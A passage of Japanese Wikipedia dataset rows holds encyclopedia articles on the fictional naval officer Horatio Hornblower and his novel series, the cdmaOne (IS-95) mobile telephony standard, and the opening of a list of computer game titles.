[[1794年]]1月、17歳で[[3等艦|3等級]][[戦列艦]]ジャスティニアン号の[[士官候補生]]として着任。ホイストをきっかけに[[エドワード・ペリュー|エドワード・ペルー]]提督と知己になり、アレスーザ号に転属する。同年11月、ペルー提督の副官として、インディファティガブル号に転属。1797年、捕獲したル・ルーヴ号の指揮官となるが、スペイン艦隊と遭遇し捕虜となり、2年近くをスペインで過ごすことになる。この間にスペイン語を習得した。1798年、スペインの[[私掠船]]が難破し、乗組員を救助。このことによって、釈放されポーツマスへ帰還する。
5等[[海尉]]としてレナウン号に乗艦。海尉艦長として[[砲艦]]ホットスパー号を、勅任艦長として[[スループ]]艦アトロポス号、[[フリゲート]]艦リディア号、戦列艦サザランド号を指揮する。戦隊司令官を2度経験する。
さらに提督(西インド諸島方面艦隊司令長官職等を経験)を経て[[1848年]]に海軍元帥になった。
パーキンソンによる『伝記』では、[[1858年]][[1月12日]]に死去したとされる。
===人間関係===
最初の妻:マリア・エレン・メイソンとの間に、長男:ホレイショと長女:マリアがいたが、二人とも[[天然痘]]により夭折している。マリアと死別した後、初代[[ウェリントン公爵]][[アーサー・ウェルズリー (初代ウェリントン公爵)|アーサー・ウェルズリー]]の妹バーバラと再婚した。
==演じた人物==
1951年の映画「[[艦長ホレーショ]]」(''Captain Horatio Hornblower R.N.'')では[[グレゴリー・ペック]]が、1998年~2003年の長編[[テレビドラマ]]シリーズ『[[ホーンブロワー 海の勇者]]』では[[ヨアン・グリフィズ]]がホーンブロワーを演じている。
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6,821 | CdmaOne | cdmaOne(シーディーエムエーワン)は、米国クアルコム社が開発し1995年に発表した通信技術である。多重化にCDMA方式を用いている。TIAの規格名称はIS-95。
PDCやGSMと比べより新しい方式である。その間の技術進歩により、高い通話音質と高速なデータ通信を提供できる。第3世代携帯電話であるW-CDMAやCDMA2000とcdmaOneは、CDMA方式を利用する点が共通する。このことから、cdmaOneは2.5世代とも呼ばれる。
アメリカ合衆国、日本、韓国、香港のほか、カナダ、メキシコ、イスラエルとベネズエラで普及している。
日本国内では、IDOとDDIセルラーグループ各社(現・au(KDDI・沖縄セルラー電話連合))が導入した。その後、後継のCDMA 1X(当初はCDMA2000 1x)に移行した。
レイク (rake) 受信とは、マルチパスによるフェージングへの対策として開発された技術。複数のサブ受信機を使い、別々にデコードする。各受信機の位相差を検出・補正し再合成する事により、マルチパス環境下においてもS/N比の良好な受信を実現する。
この、レイク受信は携帯電話や無線LANで用いられている。
cdmaOneでは、通信中、自セルの基地局以外に、隣接セルの基地局からの電波が受信できる場合は、レイク受信により電波を同時受信できるため、フェージングに強く切れにくいなどの特徴をもつ。但し、レイク受信できるのは周辺セルの基地局からの電波に限られるため、遠く離れたセルからの電波が受信される環境では妨害波を受けたのと同じであり、切れやすくなる。また、実際の電波環境は非常に過酷であるため、レイク受信がいつも成功するわけではなく、失敗すれば切れやすくなる。
CDMAでは各移動局が同一周波数で被せて送信するため、基地局から見て強い局や弱い局があると、電波の遠近問題により、弱い局が強い局につぶされて基地局では弱い局が受信できなくなる(スペクトル拡散は、このような状態でも逆拡散で受信可能というのは誤解である)。そこで、基地局から強い局に対して送信パワーを下げろと言う指示を飛ばし、弱い局に対して送信パワーを上げろと言う指示を飛ばし、結果的にすべての局は、同じ強さとなって基地局で受信される。同じ強さであれば、被っていても逆拡散により、受信可能である。パワーコントロールは一番弱い局に合わされるため、通常、移動局の送信パワーの平均は、PHSよりも小さくなる。クアルコムのギルハウゼン (Klein Gilhousen) によって実用化された。
ソフトハンドオフとは、現在通信中の基地局(ハンドオフ元)と新しく通信したい基地局(ハンドオフ先)を一時的に同時通信状態にした後、切り替えるハンドオフのことである。穏やか(ソフト)に切り替わっていくことからソフトハンドオフと呼ばれる。PDC方式など従来方式では、2組以上の送受信機を内蔵しないとソフトハンドオフは不可能であったので、実用化されなかった。cdmaOneの場合、ハンドオフ元もハンドオフ先も同一周波数であるので、単一の送受信機でハンドオフ元とハンドオフ先が同時に通信できる。そのため実用化できた。
cdmaOneにおいて、PDC方式の周波数の概念に相当するのがPNオフセット番号(PN位相)である。cdmaOneではハンドオフ元が使っているPNオフセット番号の信号とハンドオフ先が使っているPNオフセット番号の信号を一時的に同時通信状態にすることでソフトハンドオフを実現している。ソフトハンドオフは、一種のサイトダイバーシティでもあるので、ハンドオフの失敗が少ないと言われている。なお、PNオフセット番号は相対値であり、その基準となるのはGPSの時間である(そのため同期式と呼ばれる)。通話しながら、地上から地下に移動した際、どちらもcdmaOneがサービスされているにもかかわらず、ハンドオフできずに切れるのは、地下局にGPSが実装されていないためである。
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| cdmaOne(シーディーエムエーワン)は、米国クアルコム社が開発し1995年に発表した通信技術である。多重化にCDMA方式を用いている。TIAの規格名称はIS-95。 | {{otheruses|通信方式|auのサービス|cdmaOne (サービス)}}
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'''cdmaOne'''(シーディーエムエーワン)は、[[クアルコム|米国クアルコム]]社が開発し1995年に発表した通信技術である。多重化に[[Code Division Multiple Access|CDMA]]方式を用いている。TIAの規格名称は'''IS-95'''。
== 概要 ==
[[PDC]]や[[GSM]]と比べより新しい方式である。その間の技術進歩により、高い通話音質と高速なデータ通信を提供できる。第3世代携帯電話である[[W-CDMA]]や[[CDMA2000]]とcdmaOneは、CDMA方式を利用する点が共通する。このことから、cdmaOneは'''[[第2世代移動通信システム|2.5世代]]'''とも呼ばれる。
[[アメリカ合衆国]]、[[日本]]、[[大韓民国|韓国]]、[[香港]]のほか、[[カナダ]]、[[メキシコ]]、[[イスラエル]]と[[ベネズエラ]]で普及している。
日本国内では、[[日本移動通信|IDO]]と[[DDIセルラーグループ]]各社(現・[[Au (携帯電話)|au]]([[KDDI]]・[[沖縄セルラー電話]][[連合]]))が導入した。その後、後継の[[CDMA 1X]](当初は[[CDMA2000 1x]])に移行した。
== 技術 ==
=== レイク受信 ===
レイク (rake) 受信とは、[[マルチパス]]による[[フェージング]]への対策として開発された技術。複数のサブ受信機を使い、別々に[[デコード]]する。各受信機の位相差を検出・補正し再合成する事により、マルチパス環境下においても[[S/N比]]の良好な受信を実現する。
この、レイク受信は[[携帯電話]]や[[無線LAN]]で用いられている。
cdmaOneでは、通信中、自セルの[[基地局]]以外に、隣接セルの基地局からの電波が受信できる場合は、レイク受信により電波を同時受信できるため、[[フェージング]]に強く切れにくいなどの特徴をもつ。但し、レイク受信できるのは周辺セルの基地局からの電波に限られるため、遠く離れたセルからの電波が受信される環境では妨害波を受けたのと同じであり、切れやすくなる。また、実際の電波環境は非常に過酷であるため、レイク受信がいつも成功するわけではなく、失敗すれば切れやすくなる。
=== パワーコントロール ===
CDMAでは各移動局が同一周波数で被せて送信するため、[[基地局]]から見て強い局や弱い局があると、電波の遠近問題により、弱い局が強い局につぶされて基地局では弱い局が受信できなくなる(スペクトル拡散は、このような状態でも逆拡散で受信可能というのは誤解である)。そこで、基地局から強い局に対して送信パワーを下げろと言う指示を飛ばし、弱い局に対して送信パワーを上げろと言う指示を飛ばし、結果的にすべての局は、同じ強さとなって基地局で受信される。同じ強さであれば、被っていても逆拡散により、受信可能である。パワーコントロールは一番弱い局に合わされるため、通常、移動局の送信パワーの平均は、[[PHS]]よりも小さくなる。クアルコムの[[ギルハウゼン]] (Klein Gilhousen) によって実用化された。
=== ソフトハンドオフ ===
{{Main|ハンドオーバー}}
ソフトハンドオフとは、現在通信中の基地局(ハンドオフ元)と新しく通信したい基地局(ハンドオフ先)を一時的に同時通信状態にした後、切り替えるハンドオフのことである。穏やか(ソフト)に切り替わっていくことからソフトハンドオフと呼ばれる。PDC方式など従来方式では、2組以上の送受信機を内蔵しないとソフトハンドオフは不可能であったので、実用化されなかった。cdmaOneの場合、ハンドオフ元もハンドオフ先も同一周波数であるので、単一の送受信機でハンドオフ元とハンドオフ先が同時に通信できる。そのため実用化できた。
cdmaOneにおいて、PDC方式の周波数の概念に相当するのがPNオフセット番号(PN位相)である。cdmaOneではハンドオフ元が使っているPNオフセット番号の信号とハンドオフ先が使っているPNオフセット番号の信号を一時的に同時通信状態にすることでソフトハンドオフを実現している。ソフトハンドオフは、一種のサイト[[ダイバーシティ (無線通信技術)|ダイバーシティ]]でもあるので、ハンドオフの失敗が少ないと言われている。なお、PNオフセット番号は[[相対値]]であり、その基準となるのは[[グローバル・ポジショニング・システム|GPS]]の時間である(そのため同期式と呼ばれる)。通話しながら、地上から地下に移動した際、どちらもcdmaOneがサービスされているにもかかわらず、ハンドオフできずに切れるのは、地下局にGPSが実装されていないためである。
なお、PNオフセット番号は0~511までの有限の値であるため、重複しないように各基地局に割り当てる必要がある。
== プロトコル ==
IS-95 (Interim Standard 95, [[Telecommunications Industry Association|TIA]]) の規格上の用語。
* P_REV (Protocol Revision)
** P_REV =1
*** [[ANSI]] J-STD-008, 1995
** P_REV =2
*** IS-95A
** P_REV =3
*** Technical Services Bulletin 74 (TSB-74)
** P_REV =4
*** Interim Standard 95B (IS-95B) Phase I,
** P_REV =5
*** Interim Standard 95B (IS-95B)
** P_REV =6
*** [[CDMA2000]]
== 脚注 ==
{{Reflist}}
== 関連項目 ==
* [[符号分割多元接続]] (CDMA)
* [[標本化定理]]
{{携帯電話の世代}}
{{Keitai-stub}}
[[Category:携帯電話の通信規格]] | null | 2023-01-07T01:15:12Z | false | false | false | [
"Template:携帯電話の世代",
"Template:Keitai-stub",
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"Template:Main",
"Template:Reflist"
]
| https://ja.wikipedia.org/wiki/CdmaOne |
6,822 | ホーンブロワーシリーズ | 『ホーンブロワーシリーズ』は、セシル・スコット・フォレスター(1899年 - 1966年)の、ホレイショ・ホーンブロワーを主人公とした海洋冒険小説シリーズの総称。
18世紀末から19世紀前半を舞台に、1794年1月に17歳で士官候補生として英国海軍に入ったホーンブロワーが、平民出身というハンディキャップを克服して、バス勲爵士・海軍元帥・男爵に上り詰めるまでの一代記である。
単なる軍事・冒険小説として高い水準を有するに留まらず、上層部に対する部下、乗組員に対する上司としての苦悩、様々な劣等感に悩む姿など、英雄としてだけでなく人間としてのホーンブロワーが綿密に描かれており、その評価は非常に高い。そのため、以後の海洋冒険小説に与えた影響も大きく、「第2のホーンブロワー」「未来のホーンブロワー」など、ホーンブロワー以後の小説の形容に用いられることもある。また、以後の海洋冒険小説のシリーズ中で重要な登場人物として、あるいはワンシーンだけの登場人物として、ホーンブロワーが登場する例も確認されている。
日本ではハヤカワ文庫より「海の男/ホーンブロワーシリーズ」として出版されている。1951年に『艦長ホレーショ』として映画化され、また1998年からはイギリスにて長編TVドラマ『ホーンブロワー 海の勇者』シリーズ(ヨアン・グリフィズ主演)が制作された。
ハヤカワ文庫の日本語版(高橋泰邦・菊池光訳)は、『海の男/ホーンブロワー』シリーズとして物語の時系列順に刊行された。絶筆となった『ナポレオンの密書』を除く全10巻が刊行された後、長く絶版となっていたが、TVドラマシリーズの好評を受けて2003年(平成15年)に重版された。さらに翌年の2004年(平成16年)には10巻全てが改版され、「新装版」に切り替わった。新装版では、字が大きく鮮明になり、2人の訳者の間で訳語が統一され、用語集・艦船図解・新しいあとがき等が加えられるなどの改善がなされた。旧版と新装版は、表カバーのデザインで識別できる。
新装版になっても、奥付には「改版」のことは記載されていない。2004年より前の旧版では、各巻の表紙絵(一部の巻を除く)を描いた山野辺進によるペン画の挿絵があったが、新装版では全てカットされている。
フォレスターの死により未完に終わった長編『ナポレオンの密書』のみ、1984年(昭和59年)に光人社より刊行されたが、長く絶版であった。『ナポレオンの密書』は、2007年(平成19年)にハヤカワ文庫のホーンブロワーシリーズ別巻として再刊された。その際に、長く絶版となっており、2003年から2004年にも重版の対象外だった『ホーンブロワーの誕生』(ハヤカワ文庫、1978年)との合本となった。
光人社版の『ナポレオンの密書』とハヤカワ文庫版の『ナポレオンの密書』は、書名が同一でも内容が大きく異なるので、古書で入手する際には注意を要する。 | [
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| 『ホーンブロワーシリーズ』は、セシル・スコット・フォレスターの、ホレイショ・ホーンブロワーを主人公とした海洋冒険小説シリーズの総称。 | {{Portal|文学}}
『'''ホーンブロワーシリーズ'''』は、[[セシル・スコット・フォレスター]]([[1899年]] - [[1966年]])の、[[ホレイショ・ホーンブロワー]]を主人公とした[[海洋冒険小説]][[シリーズ (作品)|シリーズ]]の総称。
==概要==
[[18世紀]]末から[[19世紀]]前半を舞台に、1794年1月に17歳で士官候補生として[[イギリス海軍|英国海軍]]に入ったホーンブロワーが、平民出身というハンディキャップを克服して、[[バス勲章|バス勲爵士]]・海軍元帥・男爵に上り詰めるまでの一代記である<ref>18世紀の英国海軍では、士官を目指す少年は、10代前半で海軍に入り、縁故のある艦長の下で士官候補生としてキャリアを始めるのが通常であった。海軍士官の多くが貴族かそれに準じる上流階級の出身であり、平民出身者は士官候補生の地位を得ること自体が難しく、海尉 ''Lieutenant'' への任官・海尉艦長 ''Commander'' への昇進・勅任艦長 ''Post Captain'' への昇進のいずれも、貴族出身者(コネのある者)には容易なことであるのに対し、平民出身者には高い壁となった。ホーンブロワーの親友であり、やはり平民出身であったブッシュは、ホーンブロワーより年長で、ホーンブロワーより先に海尉に任官したが、勅任艦長への昇進はホーンブロワーより6年遅れた。ホーンブロワー・シリーズには、昇進の機会を得られずに海軍生活を終えようとしている「白髪の老海尉」が登場し、艦長や提督に栄進しているホーンブロワーが「自分も運に恵まれなければ海尉で終わっただろう」と想起するシーンが何度もある。</ref>。
単なる軍事・冒険小説として高い水準を有するに留まらず、上層部に対する部下、乗組員に対する上司としての苦悩、様々な劣等感に悩む姿など、英雄としてだけでなく人間としてのホーンブロワーが綿密に描かれており、その評価は非常に高い。そのため、以後の海洋冒険小説に与えた影響も大きく、「第2のホーンブロワー」「未来のホーンブロワー」など、ホーンブロワー以後の小説の形容に用いられることもある。また、以後の海洋冒険小説のシリーズ中で重要な登場人物として、あるいはワンシーンだけの登場人物として、ホーンブロワーが登場する例も確認されている。
[[日本]]では[[ハヤカワ文庫]]より「海の男/ホーンブロワーシリーズ」として出版されている。[[1951年]]に『[[艦長ホレーショ]]』として映画化され、また[[1998年]]からは[[イギリス]]にて長編TVドラマ『[[ホーンブロワー 海の勇者]]』シリーズ([[ヨアン・グリフィズ]]主演)が制作された。
== 作品一覧 ==
===本編===
[[ハヤカワ文庫]]の日本語版([[高橋泰邦]]・[[菊池光]]訳)は、『海の男/ホーンブロワー』シリーズとして物語の時系列順に刊行された。絶筆となった『ナポレオンの密書』を除く全10巻が刊行された後、長く絶版となっていたが、TVドラマシリーズの好評を受けて[[2003年]]([[平成]]15年)に重版された。さらに翌年の[[2004年]](平成16年)には10巻全てが改版され、「新装版」に切り替わった。新装版では、字が大きく鮮明になり、2人の訳者の間で訳語が統一され、用語集・艦船図解・新しいあとがき等が加えられるなどの改善がなされた。旧版と新装版は、表カバーのデザインで識別できる。
新装版になっても、奥付には「改版」のことは記載されていない。2004年より前の旧版では、各巻の表紙絵(一部の巻を除く)を描いた[[山野辺進]]によるペン画の挿絵があったが、新装版では全てカットされている。
フォレスターの死により未完に終わった長編『ナポレオンの密書』<ref>『ナポレオンの密書』は、物語の時系列では、『砲艦ホットスパー』と『トルコ沖の砲煙』の間に入る。</ref>のみ、1984年(昭和59年)に[[光人社]]より刊行されたが、長く絶版であった。『ナポレオンの密書』は、[[2007年]](平成19年)にハヤカワ文庫のホーンブロワーシリーズ別巻として再刊された。その際に、長く絶版となっており、2003年から2004年にも重版の対象外だった『ホーンブロワーの誕生』(ハヤカワ文庫、1978年)との合本となった。
光人社版の『ナポレオンの密書』とハヤカワ文庫版の『ナポレオンの密書』は、書名が同一でも内容が大きく異なるので、古書で入手する際には注意を要する。
{| class="sortable wikitable" style="text-align:left;"
|+
!タイトル!!原題!!原書刊行年!!日本語訳刊行年<br><small>(ハヤカワ文庫)</small>
|-
|{{Display none|カイグンシカン/}}『[[海軍士官候補生]]』||''[[:en:Mr. Midshipman Hornblower|Mr. Midshipman Hornblower]]''||1948年-50年||1973年{{0}}2月
|-
|{{Display none|スペイン/}}『[[スペイン要塞を撃滅せよ]]』||''[[:en:Lieutenant Hornblower|Lieutenant Hornblower]]''||1952年||1973年12月
|-
|{{Display none|ホウカン/}}『[[砲艦ホットスパー]]』||''[[:en:Hornblower and the Hotspur|Hornblower and the Hotspur]]''||1962年||1974年{{0}}1月
|-
|{{Display none|トルコ/}}『[[トルコ沖の砲煙]]』||''[[:en:Hornblower and the Atropos|Hornblower and the Atropos]]''||1953年||1974年{{0}}6月
|-
|{{Display none|パナマ/}}『[[パナマの死闘]]』||''[[:en:The Happy Return|The Happy Return]]''||1937年||1974年11月
|-
|{{Display none|モエル/}}『[[燃える戦列艦]]』||''[[:en:A Ship of the Line|A Ship of the Line]]''||1938年||1975年{{0}}1月
|-
|{{Display none|ユウシャ/}}『[[勇者の帰還]]』||''[[:en:Flying Colours|Flying Colours]]''||1938年||1975年{{0}}8月
|-
|{{Display none|ケッセン/}}『[[決戦!バルト海]]』||''[[:en:The Commodore|Commodore Hornblower]]''||1945年||1976年10月
|-
|{{Display none|セーヌ/}}『[[セーヌ湾の反乱]]』||''[[:en:Lord Hornblower|Lord Hornblower]]''||1946年||1977年{{0}}4月
|-
|{{Display none|カイグンテイトク/}}『[[海軍提督ホーンブロワー]]』||''[[:en:Hornblower in the West Indies|Admiral Hornblower in the West Indies]]''||1958年||1978年{{0}}5月
|-
|{{Display none|ナポレオン/}}『[[ナポレオンの密書]]』 ※絶筆||''[[:en:Hornblower and the Crisis|Hornblower and the Crisis]]''||1967年||2007年{{0}}3月
|}
==関連書==
*『ホーンブロワーの誕生』ハヤカワ文庫、1978年、高橋泰邦訳 '''(絶版)'''
:''Hornblower Companion'',1964
::# 短編『マックール未亡人の秘密』(これのみ、[[菊池光]]訳) ''Hornblower and the Widow McCol''
::# 短編<ref>『最後の遭遇戦』は、短編として一応完結する内容である。しかし、訳者の高橋泰邦は、これは未完の長編の序章であるとし、「ホーンブロワーは嫌いなフランスと組み、好きなロシアと戦うべく、老軀をおしてふたたび英国艦隊を率い、遠征の途に出で立つ運命ではなかったろうか・・・」と記している。</ref>『最後の遭遇戦』 ''The Last Encounter''
::# ホーンブロワーシリーズの解説『ホーンブロワーの誕生』 ''Some Personal Notes''
:の3作品を収録。本書の内容は『ナポレオンの密書』(ハヤカワ文庫、2007年) に包含されている。
*『ホレーショ・ホーンブロワーの生涯とその時代』[[至誠堂]]新書、1974年、[[出光宏]]訳 '''(絶版)'''
:''Life and Times of Horatio Hornblower''
:歴史学者{{仮リンク|シリル・ノースコート・パーキンソン|en|C. Northcote Parkinson}}による、ホーンブロワーの伝記。
*『南溟の砲煙』光人社 1983(のち、光人社NF文庫)シリーズ訳者の高橋泰邦による、ホーンブロワー率いる英国艦隊がアジアに遠征したという設定で展開する二次創作小説。
*『南溟に吼える』光人社 1986 上記の続編。
== 主な登場人物 ==
;[[ホレイショ・ホーンブロワー]]
:主人公。
;ウィリアム・ブッシュ
:『スペイン要塞を撃滅せよ』で[[戦列艦]]「レナウン号」三等[[海尉]]として登場。登場時はホーンブロワーの上官で、ホーンブロワーより年長であり、船乗りとしての経歴は10年長い。ホーンブロワーが海尉艦長に昇進した後は、親友かつ片腕となり、副長としてホーンブロワーを支える。『決戦! バルト海』では[[勅任艦長]]に昇任し、戦隊司令官になったホーンブロワーを助けるが、『セーヌ湾の反乱』では悲運が待っている。
;ブラウン
:ホーンブロワーの艇長(コクスン)。ホーンブロワーに常に忠誠を尽くす、勇敢かつ有能な水兵<ref>ブラウンは、何をやっても上手にこなし、ホーンブロワーが「ブラウンは自分よりずっと立派な社会人だ」「ブラウンが教育を受け、士官候補生として海軍に入っていれば、艦長になっていただろう」と認めるほどに有能。ホーンブロワーは、水兵の身分である艇長から、准士官の身分である航海士 (Master's mate. 海尉任官試験の受験資格がある) への昇格をブラウンに打診したが、辞退された。</ref>。最終的にはホーンブロワー男爵家の執事となった。
;ロバート・キーン
:戦列艦「ジャスティニアン号」勅任艦長。ホーンブロワーを[[士官候補生]]として受け入れた。ホーンブロワーがジャスティニアン号の士官候補生になった経緯は不明<ref>士官候補生として軍艦に乗り組み、海軍士官への道を踏み出すには、縁故がないと困難であった。ジャスティニアン号に乗り組んだホーンブロワーを艦長室に呼んで面接したキーンは「きみは医者の息子か…独力で出世したかったら、貴族を父親に選ぶべきだったな」と辛辣に言っており、ホーンブロワーとの縁故は伺えない。</ref>。病に冒されており、部下を掌握できていない。
;[[エドワード・ペリュー|エドワード・ペルー]] (実在人物)
:バス勲爵士・[[フリゲート]][[インディファティガブル (帆走フリゲート)|「インディファティガブル号」]]勅任艦長。ホーンブロワーの理解者。後には提督に昇任し初代エクスマス[[子爵]]に叙される。ホーンブロワーは最初に乗り組んだジャスティニアン号からインディファティガブル号に転任し、ペルー艦長の下で数々の武勲を挙げ、短期間で士官候補生から海尉心得に昇格する。
;ジェームズ・ソーヤ
:戦列艦「レナウン号」勅任艦長。
;[[ウィリアム・コーンウォリス]](実在人物)
:バス勲爵士・[[海峡艦隊]]司令長官。ペルーと並ぶホーンブロワーの理解者。ホーンブロワーは[[スループ]]「ホットスパー号」[[海尉艦長]]として彼の指揮下に入った。海峡艦隊司令長官を辞する際に、退任する司令長官の特権により、海尉艦長であったホーンブロワーを勅任艦長に昇進させた<ref>貴族出身でなく、海軍本部や政府・議会に縁故がないホーンブロワーが、28歳という比較的若い時期に勅任艦長に昇進できたのは、コーンウォリスの恩顧によるもの。</ref>。
;マリア(マリア・エレン)
:ホーンブロワーが、休職海尉の期間に住んでいた下宿屋を経営するメイスン夫人(未亡人)の娘。貧窮に苦しんでいたホーンブロワーを陰日向なく支える。ホーンブロワーの最初の妻となり、一途な愛を捧げる。ホーンブロワーとの間に二男一女を産む。結婚前は、私設の小学校の教師を務めており、18世紀末のイギリス女性としては十分な教育を受けていた<ref>18世紀末のイギリスでは、庶民は読み書きができないのが普通だった。また、属する階級が訛りで識別できた。マリアは、結婚前に教師をしていた経歴に加え、海上のホーンブロワーと手紙のやり取りをしており、ホーンブロワーについての新聞や海軍公報の記事を苦もなく読んでおり、高い読み書き能力を有していた。また、庶民階級の訛りで話していた描写がない。ホーンブロワー・シリーズの中に、マリアの亡父についての情報は皆無だが、ホーンブロワーやブッシュと共通の「庶民よりは上の階級」に属していたと思われる。</ref>。作中において、ホーンブロワーには彼女のことを愛しきれない気持ちがつきまとっていた様で、妻に会いたくない(妻を愛していない自分を認めたくない)といった類いの記述も見られた。
;レディ・バーバラ・ウェルズリー
:後に、レディ・バーバラ・レイトン
:初代[[モーニントン伯爵]][[ギャレット・ウェズリー (初代モーニントン伯爵)|ギャレット・ウェズリー]]の娘であり、19世紀初頭のイギリスの重要人物である初代[[ウェルズリー侯爵]][[リチャード・ウェルズリー (初代ウェルズリー侯爵)|リチャード・ウェルズリー]]ならびに初代[[ウェリントン公爵]][[アーサー・ウェルズリー (初代ウェリントン公爵)|アーサー・ウェルズリー]]の妹(バーバラのみが架空の人物)。ホーンブロワーの元上官の未亡人で再婚相手。『パナマの死闘』でホーンブロワーが艦長を務めるフリゲート「リディア号」にパナマで便乗して知り合う。貴婦人であることを鼻にかけず、男勝りの勇敢さと女性としての優しさを併せ持ち、ホーンブロワーを魅了する。
;[[ホレーショ・ネルソン (初代ネルソン子爵)|ホレイショ・ネルソン]](実在人物。ホーンブロワーシリーズに直接には登場しない)
:バス勲爵士・地中海艦隊司令長官・初代[[ネルソン子爵]]。[[トラファルガー海戦]]の英雄。『トルコ沖の砲煙』における、ホーンブロワーの「アトロポス号」勅任艦長としての初仕事は、ネルソンの国葬に先立つ[[テムズ川]]での水上パレードの指揮であった。ブッシュは、[[テメレーア (戦列艦)|戦列艦「テメレーア号」]]<ref>ブッシュが海尉として乗り組んでいた戦列艦「テメレーア号」は、トラファルガー海戦において、ネルソンの旗艦である[[ヴィクトリー (戦列艦)|戦列艦「ヴィクトリー号」]]に続航する2番艦として奮戦した。</ref>の海尉としてトラファルガー海戦に参加した。
;グラセー伯爵ルシアン・アントワーヌ・ド・ラドン
:フランス貴族。革命後ロンドンに亡命していたが、ナポレオンの恩赦を受けて帰国し領地のあった自治区の市長([[名誉職]])を務めている。『勇者の帰還』でフランスの捕虜となり、パリへ送られる途中に脱走したホーンブロワーたちを庇護し、イギリスへの脱出を助ける。『セーヌ湾の反乱』で王政復古したフランスを訪れたホーンブロワーと再会するが、ナポレオンが[[エルバ島]]を脱出した混乱に巻き込まれ行動を共にすることになる。
;マリー
:グラセー子爵夫人。グラセー伯爵の長男の妻。未亡人。義父にかくまわれたホーンブロワーに惹かれて愛し合う。
;[[ナポレオン・ボナパルト]](実在人物)
:ホーンブロワーシリーズの大部分はナポレオンのフランス帝国を敵として描かれているが、ホーンブロワーがナポレオンと直接会う場面はない。『海軍提督ホーンブロワー』では、ナポレオンを[[セントヘレナ島]]から脱出させようとするフランス軍人の陰謀に[[西インド諸島]]方面英国艦隊司令官ホーンブロワーが巻き込まれる。
;[[ナポレオン3世|ルイ=ナポレオン]](実在人物)
:シャルル・ルイ=ナポレオン・ボナパルト。フランス共和国大統領。後に皇帝ナポレオン3世として即位。『ナポレオンの密書』所収の短編「最後の遭遇戦」では、晩年のホーンブロワーが大統領選挙に出馬するためフランスへ戻る前のルイ・ナポレオンに偶然援助を与えたことへの謝意として[[レジオンドヌール勲章]](シュバリエ)を授与し、バーバラには[[サファイア]]を贈る。
==本作を題材とした作品==
===映画===
*[[艦長ホレーショ]] - [[1951年]]アメリカ、[[ラオール・ウォルシュ]]監督
:ホーンブロワー役:[[グレゴリー・ペック]]、レディ・バーバラ役:[[ヴァージニア・メイヨ]]
===TV===
*[[ホーンブロワー 海の勇者]] - 1998年〜2003年イギリス
:ホーンブロワー役:[[ヨアン・グリフィズ]]
== 影響を受けた作品 ==
* テレビドラマシリーズ『[[スタートレック]]』はSF版のホーンブロワーシリーズとしてテレビ局に売り込まれた。
* [[デイヴィッド・ファインタック]]によるSF『銀河の荒鷲シーフォート』シリーズ。
* [[デイヴィッド・ウェーバー|デヴィッド・ウェーバー]]によるSF『[[オナー・ハリントン・シリーズ]]』シリーズ。
== 脚注 ==
<references/>
==関連項目==
*[[ナポレオン戦争]]
*[[帆船]]
{{DEFAULTSORT:ほおんふろわあしりいす}}
[[Category:イギリスの冒険小説]]
[[Category:海洋冒険小説]]
[[Category:1948年の小説]]
[[Category:小説のシリーズ]]
[[Category:ハヤカワ文庫]] | null | 2023-05-11T01:51:35Z | false | false | false | [
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"Template:仮リンク"
]
| https://ja.wikipedia.org/wiki/%E3%83%9B%E3%83%BC%E3%83%B3%E3%83%96%E3%83%AD%E3%83%AF%E3%83%BC%E3%82%B7%E3%83%AA%E3%83%BC%E3%82%BA |
6,823 | コンピュータゲームのタイトル一覧 | コンピュータゲームのタイトル一覧(コンピュータゲームのタイトルいちらん)は、コンピュータゲームの50音順タイトル一覧である。シリーズ続編の特に多いものは、第1作の作品名またはシリーズ名に「シリーズ」と付記する。
この一覧では年齢による購入制限の無いゲーム作品を掲載する。18歳未満購入禁止のゲーム作品、及び18歳未満購入禁止のゲームからのリメイクにより年齢制限なしの版が出ている作品は「アダルトゲーム一覧」、「CEROレーティング18才以上のみ対象ソフトの一覧」、「ESRBレイティング別対象ソフト一覧・AO (18歳未満提供禁止)」に掲載する。 | [
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| コンピュータゲームのタイトル一覧(コンピュータゲームのタイトルいちらん)は、コンピュータゲームの50音順タイトル一覧である。シリーズ続編の特に多いものは、第1作の作品名またはシリーズ名に「シリーズ」と付記する。 この一覧では年齢による購入制限の無いゲーム作品を掲載する。18歳未満購入禁止のゲーム作品、及び18歳未満購入禁止のゲームからのリメイクにより年齢制限なしの版が出ている作品は「アダルトゲーム一覧」、「CEROレーティング18才以上のみ対象ソフトの一覧」、「ESRBレイティング別対象ソフト一覧・AO (18歳未満提供禁止)」に掲載する。 | {{コンピュータゲームのサイドバー}}
'''コンピュータゲームのタイトル一覧'''(コンピュータゲームのタイトルいちらん)は、[[コンピュータゲーム]]の50音順タイトル一覧である。シリーズ続編の特に多いものは、第1作の作品名またはシリーズ名に「シリーズ」と付記する。
'''この一覧では年齢による購入制限の無いゲーム作品を掲載する。18歳未満購入禁止のゲーム作品、及び18歳未満購入禁止のゲームからの[[リメイク]]により年齢制限なしの版が出ている作品は「[[アダルトゲーム一覧]]」、「[[CEROレーティング18才以上のみ対象ソフトの一覧]]」、「[[ESRBレイティング別対象ソフト一覧・AO (18歳未満提供禁止)]]」に掲載する。'''
__NOTOC__
<table border="0" cellpadding="5" id="toc">
<tr><td><table cellpadding="3">
<tr><td>[[#あ|あ]]</td><td>[[#い|い]]</td><td>[[#う|う]]</td><td>[[#え|え]]</td><td>[[#お|お]]</td></tr>
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<tr><td>[[#さ|さ]]</td><td>[[#し|し]]</td><td>[[#す|す]]</td><td>[[#せ|せ]]</td><td>[[#そ|そ]]</td></tr>
<tr><td>[[#た|た]]</td><td>[[#ち|ち]]</td><td>[[#つ|つ]]</td><td>[[#て|て]]</td><td>[[#と|と]]</td></tr>
<tr><td>[[#な|な]]</td><td>[[#に|に]]</td><td>[[#ぬ|ぬ]]</td><td>[[#ね|ね]]</td><td>[[#の|の]]</td></tr>
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<td><table cellpadding="3">
<tr><td>[[#は|は]]</td><td>[[#ひ|ひ]]</td><td>[[#ふ|ふ]]</td><td>[[#へ|へ]]</td><td>[[#ほ|ほ]]</td></tr>
<tr><td>[[#ま|ま]]</td><td>[[#み|み]]</td><td>[[#む|む]]</td><td>[[#め|め]]</td><td>[[#も|も]]</td></tr>
<tr><td>[[#や|や]]</td><td> </td><td>[[#ゆ|ゆ]]</td><td> </td><td>[[#よ|よ]]</td></tr>
<tr><td>[[#ら|ら]]</td><td>[[#り|り]]</td><td>[[#る|る]]</td><td>[[#れ|れ]]</td><td>[[#ろ|ろ]]</td></tr>
